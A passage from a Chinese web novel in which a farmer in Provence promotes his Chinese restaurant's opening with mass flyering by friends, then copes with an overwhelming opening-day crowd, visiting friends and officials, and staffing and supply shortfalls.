不用罗南做什么,靠人传人全村800多人也知道他的餐厅要在下周三开业了。 罗天海拿笔记录下来: “那帮人对餐厅很熟悉,可以自己照顾自己。” 罗南又伸出一个手指: “经常订盒饭的那几个顾客应该会来,有十几个人。” 忙完装修后罗南也没闲着。 他特意去拜访了一圈村里经常订饭的几个大客户,通知他们‘试营业’期间的各项优惠活动,希望他们有时间能多去几次,给餐厅提一提宝贵意见。 即使罗南不来通知,这些已经将罗南家当‘食堂’的有钱人也会去捧场,听说还有开业活动更加积极了一个新发展的中餐狂热分子扬言,要在一周内把整本菜谱尝一遍。 罗天海默默记录: “好。” 罗南伸出第三根手指: “我有几个朋友会来。” 罗天海抬头问: “具体是几个?” 罗南斟酌了一下: “大概有8个左右。” 明确说会在开业那天来的有会长伊内斯、雅克先生、开粉红酒庄的杰罗姆、加布里埃尔、马里尼、卢卡斯、托马斯和歌迪亚。 粉红酒协会里的许多人在观望阿斯特丽德的动向,不过这位女士最近似乎有些忙,她给罗南的回复是10月中下旬才有时间。 所以那些大人物大概率也会在那之后来给罗南捧场。 其实罗南并不奢望他们都在开业当天来,能来就是胜利.反正开餐厅是一件持久的事。 而且阿斯特丽德晚一点来也是好事,罗南将有更充足的时间准备粉红酒氛围,最近实在太忙,还没有想好对策。 罗天海在本子上敲了一下: “路易他们也肯定会来的。” 罗南抬起第四根手指,但眉头微皱起: “但那还是不够吧?我们室内室外一共有140个餐位。” 开业第一天的目标当然是爆满,但现在似乎. 罗天海把笔放下,笑着问: “你还想一口吃一个胖子啊?” “太少了。”罗南用食指敲了一下桌子。 罗天海现在的心态平和多了,不像以前那么激进: “现在是非旅行季,能有一半的上座率就不错了,你又不是不清楚托马斯和歌迪亚那里的情况。” 说完他收起笔和本,去忙其他事情了。 罗南把离开的父亲叫住,指了下他还没有放下的小拇指: “我还没说完呢。” “还有什么?”罗天海想了下,“你是想说自然客流吗?那没办法预估,但我有大概的心理预期。” 他们已经在集市上卖了一个多月盒饭,根据卖盒饭的情况,罗天海对这部分早有预估。 罗南不满的撇嘴: “你的心理预期肯定和我的心理预期不一样。” 周六。 餐厅开业前的最后一个梅纳村集市。 罗天海按照以往的习惯在10点抵达罗南的摊位。 罗南那边锅包肉和粉红酒卖的‘热火朝天’,维埃里和冯珍一边干活,一边指着摊位前的手写黑板给客人们介绍下周餐厅的开业活动。 见大家都在忙着,罗天海放下东西后去往各个摊位前卖盒饭。 虽然这些摊主的作用是人行‘广告牌’,但不排除他们觉得好吃去捧场的可能性啊,所以罗天海还是介绍的挺卖力的。 “伙计,今天还吃盒饭吗?又换了一批新菜,对了,我们的餐厅下周三开业,第一周是‘试营业’期,除了酒水一切菜品——” 那位摊主笑着打断了罗天海的介绍: “除了酒水一切菜品5折对吧?我已经知道了,今天我就不吃了,周三我去吃你现炒出来的。” “啊啊.好!”罗天海没有深究那人为什么会知道。 也许是因为听到罗南那边的吆喝声了? 不过当走到集市尽头、距离罗南摊位几百米的位置,摊主依然知道餐厅开业信息后,罗天海不淡定了。 “我儿子来这里宣传了?” 这是罗天海能想到的唯一可能性。 那摊主大惊失色的不停打量罗天海的脸,随后语气复杂的说: “你儿子长的和你不太像啊。” “不能吧?”这位是老顾客,罗天海笑着说,“我儿子和我挺像的,大家都说像。” 那摊主表情更不好了,指着集市外一个白白胖胖的背影说: “那你老婆的基因很强大啊,一点看不出来你儿子是混血。” 罗天海:“???” “康奈尔?!”罗天海过去和他新认的‘儿子’相认,意外的问,“你怎么来梅纳村了?” 小胖子康奈尔挥舞了一下手里厚厚一沓传单: “罗南让我来帮忙发传单。” “传单?” 罗天海拿过一张,发现传单上文字描绘的赫然是他们餐厅即将开业的信息。 他顿时笑了。 罗南这小子好大的阵仗啊,传单都用上了。 “辛苦你了,给我一些吧,我去卖盒饭的时候帮你一起发。”罗天海伸手说道。 康奈尔笑着摇头: “不用不用,我发不完就分给特奥和法比安他们。” “特奥和法比安也来了?”罗天海有些意外。 “不止呢!”康奈尔‘骄傲’的说,“来了二十多个人,长得不错的农夫都被罗南喊来了,哈哈,你是没看到亨利‘落选’时的样子,恨不得把传单吃了。” “还要长得好?”罗天海眉头皱起。 康奈尔快步追上两位年轻的女士,把传单递出去的同时绅士的说: “吕贝隆的第一家中餐厅下周要在卢尔马兰开业了,那里的氛围和装修非常适合两位漂亮的小姐,试营业期餐品五折,即使不吃东西,去拍两张照片也会是个不错的选择,拿一张吧。” 两位女士离开后,康奈尔对罗天海说: “罗南给的‘话术’。” 说完,他一个转身又把传单发给一位四十多岁的家庭主妇: “吕贝隆的第一家中餐厅下周要在卢尔马兰开业了,如果厌倦了做饭可以带着家人去看看,每日套餐的价格实惠还能吃饱,同时能带孩子出去玩一趟,拿一张吧女士。” 那女士本想直接走掉,但看到康奈尔‘白白净净’的还是收下了。 康奈尔悄悄对罗天海眨了下眼睛,似乎在说: 我很有魅力吧? 罗天海没有着急回去,在集市认真逛了一圈,发现此刻梅纳村集市的许多角落,都在进行着这种‘见人说人话见鬼说鬼话’的宣传行为。 周围有客人,罗天海不好意思问罗南什么。 上午的集市结束,他们搬东西去停车场的路上,罗天海指着一地丢弃的传单问罗南: “梅纳村算是被你渗透完了。” 这里已经脱离了集市范围,但还是有许多传单,说明罗南不止让朋友们在集市里发了,整个村子都是发传单的人。 冯珍刚刚听了罗天海的描述,心疼的问: “这得花不少钱吧?” 罗南笑着说: “不贵,希尔维给我介绍了一家特别便宜的印刷厂,1000张才150法郎。” “那么便宜?”冯珍直撇嘴。 果然是普罗旺斯物价。 “不对吧,我爸爸也经常印传单,我记得最便宜也要220法郎/千张。”维埃里对这些信息比较敏感。 罗南把东西放到后备箱里,摸了下维埃里的脑袋: “你挺厉害啊,这都知道.正常确实是220法郎/千张,但我印的多,所以给我打折了。” 罗天海和罗南车的雨刮器上全都压了他们家餐厅的传单,罗天海有些心疼的说: “梅纳村用不了这么多,浪费了。” “不浪费。”罗南对在远处抽烟的法比安他们招了下手,之后对父母和维埃里说,“你们回去吧,我和朋友们要去下个村子了。” “你还要去下个村子?”罗天海侧着脑袋问。 罗南坐上他的货车: “对啊,要不然怎么发的完我印的那几万张传单。” “几万张?!”梅纳村里回荡起冯珍的尖叫。 博尼约。 打算开车去买东西的雅克先生看到雨刮器下压了一张传单本打算扔掉,但发现上面有许多诱人的食物手绘图案,便拿起来认真看了看。 几秒钟后,他笑着把传单迭好放进口袋里: “手绘的图案挺好看的。” 戈尔德。 阿斯特丽德和几个穿着正装的人坐在一家露天咖啡厅里。 她无聊的打了个哈欠,拿起酒杯发现里面居然是红葡萄酒,眼中马上闪烁出愤怒的怒火,再认真听这些人的聊天内容,心中的怒火更甚。 “女士,在卢尔马兰有一家非常漂亮的餐厅要开业了,试营业期餐品五折,即使不吃东西,去拍两张照片也会是个不错的选择,拿一张吧。” 如果是其他时间,阿斯特丽德连手都不会伸,但现在她就是想找点事情让自己的注意力从这个无聊的聚会中脱离出来。 她接下传单慵懒的看了起来,很快嘴边勾起微小的弧度。 艾克斯。 非旅行季艺术品商店的生意实在太惨淡,歌迪亚已经返回艾克斯准备过冬了,明年再开业。 睡到下午才起的她和朋友吃饭,刚一见面就被朋友手里的传单吸引了。 “餐厅的宣传单吧?那上面的手绘让我想起一个开餐厅的朋友。” 对面的朋友说: “是不是就是你朋友的餐厅啊,这上面写的地址是卢尔马兰。” “什么?”歌迪亚的爆炸头瞬间炸开,“罗南把传单发到艾克斯了?!” 第220章 甜蜜的烦恼 传单是吕贝隆山区效率最高也是最普遍的广告形式。 住在中世纪村落里的居民们大部分没有看杂志和订报纸的习惯,只有这种写有关键信息的纸张才能让他们知道周围发生的大事。 罗南对传单的成本和人效不了解,于是去请教了刚刚举办完‘还愿盛典’的希尔维,布兰科说希尔维准备了许许多多的传单,而且看那天的情形她的宣传做的相当不错。 商业街也是希尔维负责的项目,而且是比‘还愿盛典’更加重要的项目,她二话不说也成了罗南的临时工——帮他一起做宣传工作。 她首先总结出了几项‘还愿盛典’的成功经验,又提出了几项可以提升的改进建议,对待罗南餐厅的开业宣传计划像是对待‘还愿盛典’2.0版本一样尽职和尽责。 有这位宣传‘高手’协助,罗南把目标立的更长更远了。 “不止要在吕贝隆山区宣传餐厅开业的消息,我要在普罗旺斯尽可能多的宣传这件事,有可能吗?” 希尔维阻拦道: “那需要很多资金啊,许许多多的资金,你确定要这么激进吗?” 罗南一点没有犹豫,坚定的说: “确定,非常确定,我要把宣传做到极致。” 希尔维‘惊’得直摇头: “我都想去集市卖东西了,你这个有钱的家伙太让人羡慕了行吧,一切交给我。” 其实希尔维完全猜错了。 在集市卖锅包肉、粉红酒和盒饭的收入大部分用于餐厅装修了,剩下的一部分也要留下用于餐厅运营,不可以挪来做大规模的宣传。 罗南这次做宣传的预算用的全部是他‘小金库’。 收获后,农夫们每个人都有一份‘丰收心愿’,以奖励自己辛苦劳作了一年。 有点想给自己买新车、有的想给老婆孩子买衣服、有的想修房子. 但这些罗南全部都有了。 不止他自己,他的父母、佐伊、佐伊的家人也都属于村里衣食无忧的那一部分人,他们什么都不缺。 于是罗南决定把卖葡萄得来的2万多法郎全部拿出来做宣传——把餐厅经营好就是他今年最大的心愿了。 希尔维是一个专业的宣传大师,她帮罗南合理制定计划并分配了预算,把每一分钱都花到了‘刀刃’上。 就这样,吕贝隆第一家中餐厅开业的消息从卢尔马兰传到了梅纳村、从以梅纳村为代表的小吕贝隆传到以戈尔德为代表的大吕贝隆、又从吕贝隆的首府阿普特传到了普罗旺斯艺术之都艾克斯 能宣传到那么远的地方,罗南还要感谢特奥、康奈尔和法比安那二十几个农夫朋友。 他们免费承担下了卢尔马兰附近几个村子的发传单重任,帮罗南省下了一笔不小的人力费用。 罗南多次要给兄弟们发‘工资’,每次特奥都会奚落他: “瞧不起谁呢?我们在你家喝下的酒都不止这点钱,怎么磨磨唧唧的跟个娘们一样,快让开,别耽误老子发传单!” 罗南已经倾其全部做完了所有能做的事.只等开业那天看这几个月的努力成果了。 每天忙碌完一天躺到床上,他都会给自己打气: “今天比昨天更努力了,结果一定不会差的!” 托马斯和歌迪亚全部选择在9月底关了店,甚至没有熬到‘还愿盛典’的举办。 旅行季结束后连野狗都不来卢尔马兰了,商业街上出现的所有的人都是去罗南餐厅帮忙的村民,与其这样,不如‘养精蓄锐’等待明年春天的来临。 所以这次来参加罗南餐厅的开业仪式,是他们阔别半个月后重回卢尔马兰。 9点多,托马斯开车来到卢尔马兰时以为自己开错了地方。 他每次停车的那一整条街上居然没有一个空位。 卢尔马兰是一个旅游业并不发达的村子,村里没有正规的停车场,只要宽一点的路上可以随便停。 于是托马斯又开去其他地方找地方,结果在卢尔马兰主干道上没有找到一个停车位,开到靠近罗南家那一侧的村子边缘才顺利停下。 他刚停好车下来,就听到一道熟悉的脏话: “狗***,老娘今天穿了8厘米的高跟鞋,为什么要让我走这么远!” “嗨,歌迪亚亲爱的,好久不见,你还好吗?”托马斯张开怀抱,走向正在骂娘的歌迪亚。 歌迪亚马上转换人设,热情的抱住这个和她‘同病相怜’的伙伴: “我很好,艾克斯的摇滚乐让我暂时忘记了自己的存款,你呢,最近还好吗?” 托马斯向商业街的方向前行: “不是特别好每天都会听到我爸爸的冷嘲热讽,也许明年夏天我就要破产回家帮忙了。” “哎——”歌迪亚整理了一下自己的头发,“对了,今天卢尔马兰路上怎么会停了那么多车?又举办类似‘还愿盛典’的活动了吗?” 托马斯耸肩: “谁知道呢,但我并没有接到什么通知。” “我也没有——”歌迪亚用开玩笑的语气说,“你说这些车不会都是去罗南餐厅的吧?毕竟罗南经常把‘朋友多’挂在嘴边。” 托马斯笑哈哈的指了指手腕上的表: “但餐厅10点才开门,罗南在9点多聚集来这么多朋友,是因为卫生没做完吗?” 歌迪亚被逗的前仰后合; “所以我们走快点吧,去晚了没活儿干了。” 两个人越走越不对劲。 随着距离商业街越来越近,车和人都明显多了起来。 似乎今天卢尔马兰的人流量都是冲着那里去的。 直到他们走入商业街,看到街道上全是行人,甚至平日一个客人都没有的咖啡厅都坐满了人,才敢肯定这个想法。 “上帝,这些喝咖啡的人不会是在等罗南的餐厅开业吧?”托马斯不敢置信的张大嘴巴。 这是他熟悉的那个商业街吗? 这是梅纳村或者戈尔德吧? 不不不,说这里是阿普特他都相信! 歌迪亚小跑起来: “去看看就知道了!” 托马斯和歌迪亚以为商业街门口聚集的那些人是在等罗南的餐厅开业,结果他们发现自己大错特错——罗南的餐厅已经在10点前提前开业了! 但即使这样,餐厅附近也全部是等位的人。 他们进入罗南的餐厅,马上被满头大汗的罗南推出去: “快来帮我!” 歌迪亚无措的说: “点单还是送菜?我大学在超市做过收银员,算数挺快的。” 罗南指着餐厅外面说: “帮我把你们的店开起来,让这些等位置的人有点事情干。” 歌迪亚原地愣了一秒,马上脱掉高跟鞋以百米冲刺的速度跑出去: “罗南,你真是个天才!” 托马斯在面前画了一个十字,激动的说: “你是主给我安排的天使吗?我的祈祷应验了!应验了!!” 罗南没工夫和托马斯歌颂主的仁慈,去厨房对罗天海说: “我让人把丽莎和约瑟芬也喊来帮忙吧?人手加到十几个还是不够用啊。” 今天的人流量远超罗南的预期,9点一过餐厅门口就开始来人了。 罗天海说别让客人等着提前开了业,但就这样门外的人越来越多,越来越多 不到一个小时罗南已经喊了五六个人来帮忙,人手还是不够用。 罗天海在人力预估方面严重‘失职’,为了快速扭转局面,对罗南斩钉截铁的说: “300多平米的餐厅需要25个人手,加2个不够,多喊几个人来帮忙!到了饭点人会更多的!” “不节省开支了?”罗南问。 最近罗天海天天把这几个字挂在嘴边,搞的他花钱畏畏缩缩的。 罗天海用力敲了两下锅: “还节省什么开支啊,钱都砸到脑门上了,快多找几个人一起‘接钱’吧!” 出了厨房,罗南小声嘟囔: “真是幸福的烦恼啊!” 卢卡斯在上午十点多离开自己家,缓步去罗南的餐厅。 虽然这半年在罗南身上发生的不少事,让这小子在卢尔马兰的地位一升再升,但卢卡斯坚信提到‘有钱人’和‘松露猎人’村民们想到的第一个还是他。 他们两个人只是选择了两条不同路径罢了,但都能通向成功。 而且在罗南面前、在农夫们面前,卢卡斯永远是‘老大哥’,连皮埃尔见到他都要点头哈腰的。 小弟的餐厅开业,做‘大哥’的自然要送去厚礼。 卢卡斯带了两瓶马赛著名酒庄生产的红葡萄酒,这个牌子即使在马赛餐厅里都是‘门面’货,可以摆出来当装饰的。 知道罗南喜欢喝粉红酒,他又特意找人弄来了两瓶上好的粉红酒,虽然没有红酒的牌子好,但在普罗旺斯绝对算是上等了。 第二次来到商业街,这里热闹多了。 原本冷冷清清的店铺里有了不少买东西的顾客,路边的休闲椅没有一个是空的,这种热闹的感觉让卢卡斯更加陌生了。 这还是卢尔马兰吗? 走到商业街中心位置,卢卡斯才发现,这些人原来都是奔着罗南餐厅来的。 见门口全是人,卢卡斯开始迟疑。 是直接进还是等位呢? “卢卡斯!”在门口帮忙维持秩序的路易带他穿过层层等候的人群,直接进入餐厅内部,“罗南给你留位置了。” 卢卡斯满意的笑了一声。 开餐厅怎么了? 罗南还是要拿他当‘大哥’! 餐厅里的情况比外面还要热闹,人头攒动,桌桌爆满,四处都能见到在帮忙的熟面孔。 如果抛开那些熟人,卢卡斯会以为这是里马赛的某个热闹餐厅,而且是旅行季那几个月的。 “罗南干的不错啊”卢卡斯夸赞道。 路易用无比幸福的语气说: “今天来的人太多了,打了我们一个措手不及,我和佐伊都来帮忙了。” 卢卡斯用他的宽大手掌拍了下路易的肩膀: “你找了个好‘女婿’。” 路易把卢卡斯带到一个安静角落,指着正在旁边桌和两个男人说话的罗南给卢卡斯解释: “这附近几桌都是罗南的朋友,他把那几个人安顿好马上来见你。” 卢卡斯摆手: “不着急,都是自己人不用管我,让罗南去应付客人吧。” 那边几桌都是生面孔,在卢卡斯看来,他们和罗南的关系自然没有自己和罗南亲近了。 怎料那边的情况却和卢卡斯的预期完全不同。 罗南和同桌的两个男人聊的热火朝天,尤其是和一个有八字胡的男人亲的跟连体婴儿似的。 好几次卢卡斯都听到罗南拍着胸脯说: “加布里埃尔,我宣布你是我最好的朋友!” 卢卡斯不屑一顾的给自己倒酒。 心想罗南真是交友不慎啊。 什么和什么啊,就最好的朋友了? 直到他看到那个不怎么爱说话的瘦弱男人,拿出一对连他这个大老粗都能看出‘价格不菲’的手表。 “你说这是你和佐伊的餐厅,那我就送点你们俩都能用上的东西,这对情侣手表你收下吧,祝你的餐厅开业大吉,也祝你和佐伊甜蜜幸福。” 八字胡男人笑着说: “已经不用祝贺了,今天开业已经非常成功了!我的店铺开业时,把沃克吕兹省农业部的人叫来都没有那么热闹,厉害啊我的朋友。” 卢卡斯摩挲起自己带来的两瓶红酒。 和那两块价值连城的手表比起来,这两瓶酒太‘儿戏’了。 但罗南从哪里认识的这两个有钱有势的朋友呢? 应付完那两个男人,罗南又去了一女两男所在的一桌。 那女人穿着非常时尚的服装,跟戛纳的老牌明星似的,而她说话的语气和神态更像明星: “我今天是来喝酒的,别的事情免聊。” 伊内斯特意和加布里埃尔他们分开坐了。 罗南拿起桌上的粉红酒瓶子,给每个人斟酒: “不说不说,你们三位能来我太开心了。” 卢卡斯被罗南手里的粉红酒瓶所吸引。 他认识那款酒,斯特斯加酒庄生产的最高端的一款,一瓶要800法郎,而此时桌子上已经摆了两个空瓶子了。 卢卡斯默默把他带来的两瓶粉红酒拿到脚下。 罗南平日喝的是那么贵的粉红酒吗? 随即他立起耳朵听那一桌的对话内容,发现那三个人送罗南的礼物也都一个个价值连城,不是稀罕货就是珍品。 卢卡斯用力攥紧拳头: “罗南居然已经厉害成这个样子了吗?” 他身边怎么都是这些有钱有势的家伙啊?! 第221章 像四月一样温暖 罗南的餐厅开业吸引来了多少顾客呢? 用冰冷的数字无法具象出这一天的盛况,来拍摄视频素材的希尔维在报告中是这样写的: 卢尔马兰的10月初给人一种4月初的感觉,村子里出现大量陌生人,商铺店主被突然闯入的顾客吓得不知所措,偶尔可以听到村民抱怨清闲又被打扰了难道‘春天’在不知不觉中悄悄到来了吗? 在商业街和罗南的餐厅里拍足了素材后,希尔维激动的返回政府办公楼: “布兰科又一次压对了赌注,让罗南进入商业街项目又是一次明智到不能再明智的决定,他把整条商业街,不,是整个村子的商业都盘活了!我必须告诉布兰科这个天大的好消息!!” 罗南没有心思顾及餐厅以外其他地方发生的事,只是应付几波朋友就够他忙一阵子了。 安顿好加布里埃尔、马尔尼、伊内斯、雅克和杰罗姆后,罗南一屁股坐到卢卡斯对面: “可累死我了。” 卢卡斯一时间不知道该用什么态度对罗南说话。 老大哥? 但.他配吗? 看看旁边那几桌罗南的朋友都是什么人? 他想了又想,还是把礼物送了出去: “祝你一切顺利。” 罗南眼前一亮,压低声音对卢卡斯小心说道: “还是你最懂我。” 身为一个优秀的农夫,最喜欢的东西当然是酒了! 卢卡斯笑着对罗南挥了下手: “好了,快去忙吧,第一天肯定有许多需要忙的地方,不用在我这里浪费时间。” 罗南似乎回忆起起了什么恐怖的景象: “你不知道后厨现在忙成什么样,真的像是打仗一样。” 不过怕卢卡斯一个人无聊,罗南还是建议道: “我去把特奥喊来陪你。” 卢卡斯的妻子和儿子还没回马赛,一个人吃饭太无聊了。 卢卡斯摆手拒绝: “特奥说他今天要来你这里帮忙,别影响他。” 罗南用明显开玩笑的语气说: “特奥在我们更乱了,他的嘴一刻闲不下来,亨利好几次差点和他打起来,法比安要时刻看着他们别吵架,这个家伙正好一直嚷嚷着不想吃‘员工餐’,我把他喊来陪你喝两杯。” 罗南的话让卢卡斯回忆起许多年前的情形。 那个时候他还没有买来玛格丽特,和特奥一样是个农夫,每天和大家打打闹闹的混在一起。 后来他成了卢尔马兰最优秀的松露猎人,身边讨好的人越来越多,但‘朋友’却越来越少而卢卡斯也沉浸到这种‘众星拱月’的状态之中无法自拔。 虽然是‘老大哥’,走到哪里都被人尊敬和捧着,但他身边从来没有罗南这么多兄弟。 这么多年来,帮他办事的只有特奥这一个弟弟。 罗南没来之前,卢卡斯独自坐在这里的时候除了震惊于罗南这半年的成长速度外,还在想: 如果我在卢尔马兰开了餐厅,会有这么多熟人来帮忙吗? 特奥也会一样的积极吗? 答案是不言而喻的.那么问题出在哪里呢? 罗南刚要转身离开去叫特奥,路易慌慌张张的跑进来: “外面又来了几个人,也说是你的朋友。” “也是我的朋友?”罗南眉头紧锁。 歌迪亚和托马斯去开店了,他的朋友们都到了啊。 还能有谁? “你出去看看吧,如果真是朋友我把人带进来。”路易建着急的催促。 罗南长长的叹出一口气。 朋友区的位置都是提前留出来的哪还有位置招待其他朋友? 正犹豫间,肩膀覆盖上了一双宽大的手: “我还没点菜,把位置让给他们。” 罗南连连摇头,对卢卡斯说: “不不不,你坐你的,我先出去看看。” 卢卡斯用‘老大哥’的语气说: “咱们是自己人,你跟我客气什么?招待‘外人’要紧。” 罗南四处打量: “你等我,我给你找个吃饭的位置。” 一个人的地方比较好找。 卢卡斯笑撸起袖子: “不用,今天我去尝尝你们的‘员工餐’,特奥和法比安他们在哪?” “啊?!”罗南和路易同时瞪大眼睛。 罗南来到餐厅门口,发现路易所说的朋友居然是阿图尔。 这位在阿普特开餐厅的同行身边还跟着几位罗南眼熟的餐厅老板,都是在圈内聚会时见过的。 “你这里也太火爆了。”阿图尔脸上出现了和卢卡斯类似的表情。 这里不是艾克斯,也不是阿普特,更不是马赛。 非旅行季的卢尔马兰怎么会有这么多顾客啊? “阿图尔,你们怎么来了?”罗南吃惊的问。 阿图尔收敛心情,指着身边的几个朋友说: “我们看到了你发的传单,想着开业第一天来给你增加增加人气现在看来,似乎不太需要。” 另一个餐厅老板看着身后的几十名等候的顾客,酸溜溜的说: “没事,我们下次再来,你先招待客人吧。” “不不不,几位请进!”罗南一边把阿图尔他们带入餐厅,一边歉意的说,“最近实在太忙,没有通知到你们.这顿饭我请,给你们谢罪!” 把几位同行安排到刚刚卢卡斯坐的位置后,罗南热情的说: “你们是自己点,还是我安排几道特色菜给你们尝尝?” 阿图尔和同伴换了一个眼神,笑着说: “你的锅包肉可是给我留下了深刻的印象,我们想尝一些和锅包肉一样有特色的中餐,你看着上吧。” “没问题。”罗南熟练的把菜单递给他们,“你们再看看酒水和甜品,放开了点,今天全部我请,等我把手头的事忙完就来找你们。” 一分钟后,罗南出现在罗天海身边: “给23桌做几道好‘抄’的菜,咱们的广告牌来了。” 罗天海笑着巅了一下勺: “终于来了啊。” 开业当天出现的意外‘朋友’很多很多,远不止一个阿图尔。 有在卢尔马兰连续买了三周盒饭但突然消失的外村村民。 罗天海以为他盒饭都不买了,肯定不会来餐厅吃饭,没想到那人只是想吃现炒出来的,所以没再买盒饭。 有梅纳村集市上的摊主,他们说同行的生意越做越大,一定要来支持。 有卡福和他的几个壮如牛的伙计,他们说在餐厅里吃了一个月‘试验品’,终于有机会吃一次成功的中餐了。 有那个噩梦医生,罗南终于见到不苟言笑的她笑了.她说有时间一定会再来。 有维埃里同学的家长,他们说维埃里在学校里一直在给餐厅做宣传。 有在‘还愿庆典’上遇到的戈尔德顾客,他笑着对罗南说‘我说会来就一定会来’。 还有希尔维,这个在宣传阶段给罗南提供了莫大帮助的人特地来说了一段感谢的话,她说罗南的餐厅让卢尔马兰不一样了。 还有许许多多的人 罗南怎么也想不到,来普罗旺斯不到一年已经有这么这么多朋友了。 正是因为这些朋友的存在,罗南坚信他可以在普罗旺斯过完第二年、第三年、第四年 傍晚,歌迪亚和托马斯抽空来罗南的餐厅吃饭。 他们好奇的问: “罗南,你到底是如何做到的?怎么会有这么客人来?我们也都发了传单啊。” 罗南看着远方的夕阳,幸福的说: “因为我朋友多,有太多朋友愿意帮助我、支持我我真是个幸运的人。” “又是朋友多!”歌迪亚抗议,“你每次都用这个理由揶揄我,但我的朋友也很多啊!” 托马斯笑着安慰歌迪亚: “也许那不是揶揄呢?” 歌迪亚骂骂咧咧的嘟囔: “我承认罗南仗义、诚信可靠、责任感强、真诚、有感染力、有号召力、乐于助人、情商高、体贴善良、愿意分享、长得也好.但那就会有这么多朋友帮他吗?!” 托马斯耸肩: “这还不够吗?问问你自己你愿意帮助罗南吗?” 歌迪亚铿锵有力的说: “当然,罗南是我最好的朋友!他把我摇摇欲坠的事业扶正了!” 托马斯在胸前画了一个十字: “我也是,你看,罗南又多了两个会真心对他的好朋友。” 朋友多当然会带来许许多多的好处,但坏处偶尔也会显现。 普罗旺斯人非常喜欢身体接触,男人间拍拍胳膊、捏捏肩膀都是稀疏平常的事,如果是关系非常好的朋友必须要进行贴面礼,无论男女。 但是在这片神奇的土地上,贴面礼的规矩和其他地方完全不同。 有的人亲一次,有的人亲三次,这似乎完全看他们的心情。 罗南已经记不清他今天亲过多少人的脸了。 只记得自己一次又一次像傻子一样,每亲一下头就后仰一下,以观察对方到底是亲几下那派的。 这种时刻把头保持在‘机动’状态的行为非常费脖子。 天快黑的时候,罗南觉得他的脖子比站了一天的脚脖子还累。 “你们普罗旺斯人到底要亲几下啊?一下?”罗南觉得他必须问清楚这个问题,所以请教身边的皮埃尔。 皮埃尔连连摇头: “伪君子才亲一下。” “好吧,那我以后亲三下。”罗南下定了某种决心。 “我妈妈说亲三下是粗鲁的表现。”康奈尔表达了他的意见。 “算了,问你们也是浪费时间,我去问佐伊!”罗南打算离开这些农夫。 “不知道亲几下的时候就握手怎么样?”一道和蔼的声音在几人身边出现。 又一个意外的‘朋友’来了! 罗南热情的迎上去,伸出一只手: “我还问了希尔维你今天会不会来,她说你今天很忙。” 布兰科一只手握住罗南的手,另一只手指餐厅: “最近确实太忙了,这个时间才闲下来,但似乎还是有点‘早’啊,都7点多了还有等位的人?” 罗南用手挡住嘴: “绝不会让你饿着的。” 布兰科不是一般的朋友,他是罗南的大恩人。 怎么能让他等位? 罗南在室外区域临时搬了张桌子来接待布兰科。 “天黑了之后外面有点冷,等下室内有位置了我给你换进去。”罗南把菜单交给布兰科时贴心的说。 10月份,吕贝隆的气温会随着太阳下山而急速下降,他担心布兰科的身体吃不消。 布兰科没有接菜单,他迷醉的看着满满一个院子的客人和吕贝隆的美丽山景,难掩激动的说: “希尔维给我的报告上写,今天的卢尔马兰像‘四月’一样温暖,我还觉得她夸大其词了原来今天真的很暖啊,我的身体从来没有这么热过。” 今天何止是罗南揭晓几个月努力的大日子? 今天也同样是卢尔马兰政府揭晓几个月努力结果的大日子。 罗南真的改变了卢尔马兰.大家的努力没有白费。 第222章 拉一支专业的队伍! 罗南当然听出了布兰科的‘言外之意’。 他的意思是说,卢尔马兰终于熬过了寒冬,要迎来春天了。 “但春天到来之前还要做不少准备啊。”罗南也看向远处迷人的山谷。 布兰科翻菜单的手一顿,严肃的说: “遇到什么困难、需要什么帮助随时和希尔维说,她会帮助你解决的。” 罗南笑着说: “卢尔马兰需要正规的停车场和更多供客人打发时间逛的店铺,你不知道今天我听到多少类似的抱怨。” 第一天开业,有许多准备不足的地方,这就造成今天的‘翻台’时间非常慢。 善于和人打交道的罗南和路易一整天都在外面安抚等位客人的情绪,聊的人多了,从他们口中听到了许多‘改进意见’。 除了抱怨等待时间太长外,他们抱怨最多的就是卢尔马兰村里不好停车。 还有就是商业街上这几个店铺十分钟就逛完了,没有太多打发时间的去处。 布兰科紧锁的眉头舒展开了些许,但并没有完全舒展开。 有所缓解是因为罗南说的这些问题都是‘甜蜜的烦恼’,这说明商业街达到了他们预想中的效果。 无法完全缓解是因为这两个问题不是马上能解决的。 大量光顾餐厅的顾客不止打了罗南一个措手不及,也打了政府一个措手不及。 以前卢尔马兰最大的景点是村外的城堡,那附近汽车随便停,游客参观完城堡,步行在村子里走一圈,这是很合理的旅行路线。 政府从来没想过在商业街附近建一个专门的停车场,以为主干道上的停车位足够用了。 而更多的商铺就更无法在短时间内解决了那要等到商业街2.0计划开启后才能满足。 但无论是正规停车场,还是新的商铺都需要资金支持,而卢尔马兰现在没有那么多资金。 布兰科叹气道: “你提的特色建议我们正在评估。” 想要获得资金,就要想办法得到预算充足的沃克吕兹省旅游局支持。 布兰科最近这么忙就是在处理这件事情。 罗南给布兰科倒了一杯餐前的开胃粉红酒,笑着说: “好。” 布兰科的妻子在几分钟后来到餐厅与丈夫汇合。 罗南不想影响他们夫妻的晚餐。 布兰科也认为今天并不是一个聊天的好日子,罗南应该去忙更加重要的事情,约定过几天再来一趟,到时候再好好聊。 7点半,外面没有等位的人需要罗南安慰情绪了,他去后厨帮忙。 佐伊一见到罗南便‘崩溃’的说: “这次是真的没有食材了.我们必须打烊了。” 罗南看着眼前的‘一片狼藉’,头疼的说: “真是惨绝人寰的一天啊。” 开业第一天不止‘惨绝人寰’,还无比漫长。 餐厅是早上9点多开业的,送完最后一波客人并做完卫生也9点多了,但大家没有一点‘庆祝’的心情,狼吞虎咽的闷头吃工作餐。 只不过吃工作餐的景象也很混乱,罗天海说300多平的餐厅合理的人手配备应该是25个左右,可此刻坐在这里吃饭的有40多个人.这些人全部是今天来帮忙的。 后院,父子俩终于有时间好好聊一聊了。 罗天海咽下最后一口饭,气急败坏的说: “今天太乱了,都是我的问题。” 即使罗南提醒过他许多次,顾客数量没有想象的那么少他还是没有做好充足的准备。 首先是人手问题。 罗南是喊了不少人来帮忙,但由于罗天海疲于做菜,根本没有时间给他们分配工作,大家都是看见什么忙什么.这就导致25个人能忙完的活,喊来了40多个人才勉强应付的过来。 第二个问题是食材准备严重不足。 今天一整天,罗南不停给各个供应商加订单,但临时订单送来需要时间,他又不得不让朋友们帮忙先出去买。 买菜的特奥还没回来,去买面粉的法比安又出发了,然后他们在路上遇到了买橄榄油的皮埃尔.用‘乱成一锅粥’来形容一点不夸张。 第三个问题是—— 罗南也扒拉完了最后一口饭,囫囵不清的说: “最大的问题是你太忙了,即使我和妈妈偶尔去帮忙炒两道菜还是无济于事,你根本没有时间和精力‘看大局’。” 